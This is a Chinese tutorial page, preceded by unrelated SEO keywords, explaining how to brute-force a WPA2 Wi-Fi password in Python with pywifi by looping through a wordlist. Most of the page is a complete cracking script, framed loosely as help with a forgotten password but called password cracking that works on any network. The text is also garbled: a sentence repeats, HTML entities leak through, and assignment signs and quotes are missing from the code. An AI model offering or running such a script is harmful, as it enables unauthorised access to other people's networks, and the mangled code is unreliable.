如何设计网站做网站用什么软件,中国网站建设网,重庆建设厅的网站,开发网站的工具有哪些有时候我们会忘记自己的Wi-Fi密码#xff0c;或者需要连接某个Wi-Fi网络以满足合法需求。本文将介绍如何使用Python编程语言编写一个简单的连接Wi-Fi的程序。
一、密码本准备 在进行wifi猜测时#xff0c;其实就是列出各种可能的密码#xff0c;用来尝试去访问目标wifi或者需要连接某个Wi-Fi网络以满足合法需求。本文将介绍如何使用Python编程语言编写一个简单的连接Wi-Fi的程序。
一、密码本准备 在进行wifi猜测时其实就是列出各种可能的密码用来尝试去访问目标wifi直到找出正确的密码为止是密码破解的一种方案。怎么有效去猜测wifi密码呢或者说日常中你使用的密码为什么会被别人猜到这就涉及到社会工程学比如习惯使用“123456”、“8888888”等弱口令使用手机号、生日、家庭住址相关联作为密码那么就很容易被猜到这里不过多介绍理论上任何密码都可以用这种方法来猜测连接不过越复杂的密码破解耗时也越长。二、连接准备工作
python环境安装
访问Python官网点击downloads按钮在下拉框中选择系统类型选择下载最新版本的Python没有版本要求的话尽量使用最新版本前几个版本避免新版本的不稳定。双击下载好的Python安装包勾选左下角Add Python 3.7 to PATH选项然后选择Install now立刻安装Python默认安装或自定义安装。打开命令窗口使用“python --version”查验环境是否安装成功。 下载安装pywifi库
pip install pywifi 以下对整个连接程序主要部分进行讲解最后提供完整的连接程序可以使用自己的wifi网络进行连接尝试密码本先填写几个错误密码最后再写入正确密码试验是否成功连接wifi只要密码本够全理论上可以连接所有wifi。注意一行表示一个可能性密码。 创建一个无线对象获取无线网卡
#抓取网卡接口
wifipywifi.PyWiFi()
#获取第一个无线网卡
ifaceswifi.interfaces()[0]
创建WiFi连接文件创建WiFi连接文件选择要连接WiFi的名称然后检查WiFi的开发状态查看wifi的加密算法,一般wifi加密算法为WPA2 PSK检查加密单元。
#创建WiFi连接文件
profilepywifi.Profile()
#要连接WiFi的名称
profile.ssidWiFi名称
#网卡的开放状态
profile.authconst.AUTH_ALG_OPEN
#wifi加密算法,一般wifi加密算法为wps
profile.akm.append(const.AKM_TYPE_WPA2PSK)
#加密单元
profile.cipherconst.CIPHER_TYPE_CCMP
尝试连接wifi 密码本采用只读的方式一行一行读取后续用于尝试连接wifi。
#读取密码本
def readPassword():print(开始破解:)#密码本路径pathwifi_pass.txt#打开文件fileopen(path,r)while True:try:#一行一行读取padfile.readline()#尝试连接wifibool wifiConnect(pad)if not pad:breakif bool:print(密码已破解 ,pad)print(WiFi已自动连接)breakelse:#跳出当前循环进行下一次循环print(密码破解中....密码校对: ,pad)except:continue 完整程序代码 # coding:utf-8
import pywifi
from pywifi import const
import time#测试连接返回链接结果
def wifiConnect(pwd):#抓取网卡接口wifipywifi.PyWiFi()#获取第一个无线网卡ifaceswifi.interfaces()[0]#断开所有连接ifaces.disconnect()time.sleep(1)wifistatusifaces.status()if wifistatus const.IFACE_DISCONNECTED:#创建WiFi连接文件profilepywifi.Profile()#要连接WiFi的名称profile.ssid_Wi-Fi5#网卡的开放状态profile.authconst.AUTH_ALG_OPEN#wifi加密算法,一般wifi加密算法为wpsprofile.akm.append(const.AKM_TYPE_WPA2PSK)#加密单元profile.cipherconst.CIPHER_TYPE_CCMP#调用密码profile.keypwd#删除所有连接过的wifi文件ifaces.remove_all_network_profiles()#设定新的连接文件tep_profileifaces.add_network_profile(profile)ifaces.connect(tep_profile)#wifi连接时间time.sleep(3)if ifaces.status()const.IFACE_CONNECTED:return Trueelse:return Falseelse:print(已有wifi连接) #读取密码本
def readPassword():print(开始破解:)#密码本路径pathwifi_pass.txt#打开文件fileopen(path,r)while True:try:#一行一行读取padfile.readline()#尝试连接wifibool wifiConnect(pad)if not pad:breakif bool:print(密码已破解 ,pad)print(WiFi已自动连接)breakelse:#跳出当前循环进行下一次循环print(密码破解中....密码校对: ,pad)except:continue
readPassword()
运行结果